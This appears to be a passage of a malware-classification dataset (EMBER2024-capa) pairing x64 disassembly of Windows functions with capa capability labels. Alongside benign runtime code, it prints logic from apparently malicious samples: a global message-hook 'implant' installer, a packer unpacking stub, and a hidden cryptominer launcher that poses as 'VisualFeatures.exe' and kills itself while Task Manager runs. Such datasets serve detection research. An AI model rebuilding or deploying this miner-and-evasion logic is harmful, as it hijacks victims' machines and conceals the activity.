joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007490
Capabilities:
Set global application hook

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x180020010]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor r9d, r9d
mov rax, qword [rsp + 0x290]
mov r8, qword [rax + 0x160]
lea rdx, [0x180001ad0]
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rcx, qword [rsp + 0x290]
mov qword [rcx + 0x168], rax
mov rax, qword [rsp + 0x290]
cmp qword [rax + 0x168], 0
jne 0x180007652
mov r8d, 1
mov edx, 2
lea rcx, [rsp + 0x140]
call fcn.180004260
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x24], eax
lea rdx, str.Failed_to_set_WH_GETMESSAGE_hook__0x
lea rcx, [rsp + 0x140]
call fcn.180002290
lea rdx, [0x18000caa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov ecx, dword [rsp + 0x24]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18001659c]
mov rcx, rax
call fcn.180002290
mov r8d, 1
mov edx, 2
lea rcx, [rsp + 0x50]
call fcn.180004260
nop
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x50]
call fcn.18000ff40
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rdx, [0x180016730]
lea rcx, [rsp + 0x50]
call fcn.180002290
lea rdx, str.CFsImplant::Install
mov rcx, rax
call fcn.180002290
lea rdx, [0x1800165ac]
mov rcx, rax
call fcn.180002290
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call fcn.180001ed0
lea rdx, [0x180003cb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x230]
call fcn.180005660
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x50]
call fcn.18000ff40
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.18000bd50
mov rcx, rax
call fcn.18000c1a0
nop
lea rcx, [rsp + 0x250]
call fcn.180005660
nop
lea rcx, [rsp + 0x50]
call fcn.180006560
nop
lea rcx, [rsp + 0x140]
call fcn.180006560
jmp 0x180007665
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_PostMessageW]
mov rax, qword [rsp + 0x290]
cmp qword [rax + 0x168], 0
je 0x180007681
mov dword [rsp + 0x20], 1
jmp 0x180007689
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180011010
add rsp, 0x288
ret
Function at 0x1800083f0
Capabilities:
Get storage device properties

Disassembly:
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xa8
mov rax, qword [0x180020010]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xc0]
mov eax, dword [rax]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0xc0]
cmp dword [rax], 3
jne 0x18000855e
lea rax, [rsp + 0x88]
lea rcx, str..c:
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 4
movzx ecx, word [rsp + 0xc8]
mov word [rsp + rax + 0x88], cx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x18000855e
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x54], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x58], 0
mov dword [rsp + 0x60], 0
lea rax, [rsp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 0x24
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x28
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
lea r8, [rsp + 0x50]
mov edx, 0x2d1400
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x180008553
cmp dword [rsp + 0x7c], 7
je 0x18000853d
cmp dword [rsp + 0x7c], 4
jne 0x180008553
mov dword [rsp + 0x40], 2
mov rax, qword [rsp + 0xc0]
mov dword [rax], 2
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.180011010
add rsp, 0xa8
pop rdi
pop rsi
ret
Function at 0x1800085c0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x170
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x180020010]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x28]
call fcn.180004130
mov rax, qword [rsp + 0x180]
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.18000bc90
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
jmp 0x180008620
lea rcx, [rsp + 0x28]
call fcn.180005f40
mov rax, qword [rsp + 0x180]
lea rdx, [rsp + 0x58]
mov rcx, rax
call fcn.18000c3c0
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.180005e10
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x180008709
xor eax, eax
mov word [rsp + 0x60], ax
lea rax, [rsp + 0x62]
mov rdi, rax
xor eax, eax
mov ecx, 0xfe
rep stosb byte [rdi], al
lea rcx, [rsp + 0x28]
call fcn.180005f20
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.18000bd80
mov r8d, 0x80
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x180008704
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x188]
call fcn.18000c8c0
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x180008704
lea rcx, [rsp + 0x28]
call fcn.18000b320
mov qword [rsp + 0x40], rax
movsxd rax, dword [rsp + 0x24]
mov r9, qword [rsp + 0x40]
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x188]
call fcn.18000ee90
mov al, 1
jmp 0x18000870d
jmp 0x180008616
jmp 0x18000870b
xor al, al
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180011010
add rsp, 0x170
pop rdi
ret
Function at 0x180008fb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x48]
cmp dword [rax], 0
je 0x180008ff4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rsp + 0x24]
cmp eax, dword [rsp + 0x50]
jae 0x180008ff4
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180008fcd
mov rax, qword [rsp + 0x48]
cmp dword [rax], 0
jne 0x180009008
mov dword [rsp + 0x20], 1
jmp 0x180009010
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x18000c1a0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x180020010]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x60], 0
je 0x18000c219
lea rdx, [0x180017798]
lea rcx, [rsp + 0x28]
call fcn.180004490
nop
lea rdx, str._x64_
lea rcx, [rsp + 0x28]
call fcn.180006530
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x28]
call fcn.180006530
lea rcx, [rsp + 0x28]
call fcn.18000bd50
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
lea rcx, [rsp + 0x28]
call fcn.180005660
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180011010
add rsp, 0x58
ret
Function at 0x180010ac0
Capabilities:
Resume thread
Suspend thread

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x80
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x180020010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x90]
cmp dword [rax + 8], 0
je 0x180010c52
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x30], eax
mov edx, 0xf
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
nop
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x38]
call fcn.1800013d0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0
lea rax, [rsp + 0x5c]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x58], 0x1c
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.180010c70
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x180010c36
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 8]
cmp dword [rsp + 0x64], eax
jne 0x180010c05
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x60], eax
je 0x180010c05
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.180003280
lea rcx, [rsp + 0x20]
call fcn.18000b320
test rax, rax
je 0x180010bfb
movzx eax, byte [rsp + 0x98]
test eax, eax
je 0x180010be8
lea rcx, [rsp + 0x20]
call fcn.18000b320
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x180010bfb
lea rcx, [rsp + 0x20]
call fcn.18000b320
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, [rsp + 0x20]
call fcn.180005860
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.180010ca0
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0x2c], 0
jne 0x180010b7c
mov rax, qword [rsp + 0x90]
movzx ecx, byte [rsp + 0x98]
mov byte [rax + 0xc], cl
lea rcx, [rsp + 0x38]
call fcn.180001440
nop
jmp 0x180010c43
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180011010
add rsp, 0x80
pop rdi
ret
Function at 0x2263420
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x226342d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x226343d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x2263425
lea eax, [rcx + 1]
jmp 0x226344b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x226345e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x2263444
sub eax, 3
jb 0x226347e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x22634cd
sar eax, 1
movsxd rbp, eax
jb 0x22634b4
jmp 0x226348c
add ebx, ebx
jne 0x226348a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x22634b4
inc ecx
add ebx, ebx
jne 0x226349a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x22634b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x22634ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x226349c
add ecx, 2
jmp 0x22634b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.022633e2
jmp 0x226342d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1e4d000]
mov eax, dword [rdi]
or eax, eax
je 0x2263529
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1e63000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x22634d9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x2263523
mov qword [rbx], rax
add rbx, 8
jmp 0x22634f9
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x226356d
cmp al, 0xef
ja 0x2263555
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x2263535
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x2263544
mov eax, dword [rdi]
add rdi, 4
jmp 0x2263544
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x22635c1
sub rsp, 0xffffffffffffff80
jmp 0x468e20
Function at 0x1400014cb
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], r8
mov rcx, qword [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0xd0]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0xc8]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.VisualFeatures.exe
lea rdx, str._s__o__s___pass__s___rig_id__s___donate_level_1___tls___background
mov rcx, rax
call fcn.140002a10
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.VisualFeatures.exe
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x130
pop rbp
ret
Function at 0x1400016e5
Capabilities:
Get common file path
Terminate process

Disassembly:
push rbp
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
call fcn.1400019e0
mov byte [rbp + 0x23f], 0
lea rax, [rbp + 0xd0]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp + 0xd0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, rax
lea rax, [rbp + 0xd0]
add rax, rdx
movabs rdx, 0x336d65747379535c
mov qword [rax], rdx
mov word [rax + 8], 0x32
lea rax, [rbp + 0x200]
mov edx, 0x10
mov rcx, rax
call fcn.140001610
lea rax, [rbp + 0x1e0]
mov edx, 0x10
mov rcx, rax
call fcn.140001610
movzx eax, byte [0x140003017]
movzx eax, al
mov r8d, eax
mov edx, 0x17
lea rax, str.:_9_a8____243_64offffU
mov rcx, rax
call fcn.140001450
mov qword [rbp + 0x230], rax
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x200]
mov rcx, qword [rbp + 0x230]
mov r8, rdx
mov rdx, rax
call fcn.1400014cb
mov byte [rbp + 0x23f], 1
lea rax, str.Taskmgr.exe
mov rcx, rax
call fcn.14000156d
test al, al
je 0x1400018a9
cmp byte [rbp + 0x23f], 0
je 0x140001914
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x228], rax
mov dword [rbp - 0x60], 0x130
jmp 0x140001872
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.VisualFeatures.exe
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001872
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x140001872
mov rax, qword [rbp + 0x220]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x228]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001802
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov byte [rbp + 0x23f], 0
jmp 0x140001914
movzx eax, byte [rbp + 0x23f]
xor eax, 1
test al, al
je 0x140001914
lea rax, [rbp + 0x200]
mov edx, 0x10
mov rcx, rax
call fcn.140001610
lea rax, [rbp + 0x1e0]
mov edx, 0x10
mov rcx, rax
call fcn.140001610
mov ecx, 0x1d4c0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x200]
mov rcx, qword [rbp + 0x230]
mov r8, rdx
mov rdx, rax
call fcn.1400014cb
mov byte [rbp + 0x23f], 1
mov ecx, 0x168
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400017bf
Function at 0x140001bf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1400029f0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x140001c60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001d90
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001c90
mov rcx, rbx
call fcn.1400026d0
test rax, rax
mov rdi, rax
je 0x140001db2
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002810
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d40
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001bf0
nop dword [rax]
xor esi, esi
jmp 0x140001cb8
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001bf0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001bf0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002320
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000237c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002373
test rsi, rsi
je 0x140002373
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002358
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400025d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400025a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400025d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400025d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400026d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000274d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002744
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400026f0
add rax, 0x28
cmp rax, r9
jne 0x140002730
xor eax, eax
ret

Function at 0x140002750
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000276f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002778
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000276f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002810
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000282f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002838
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret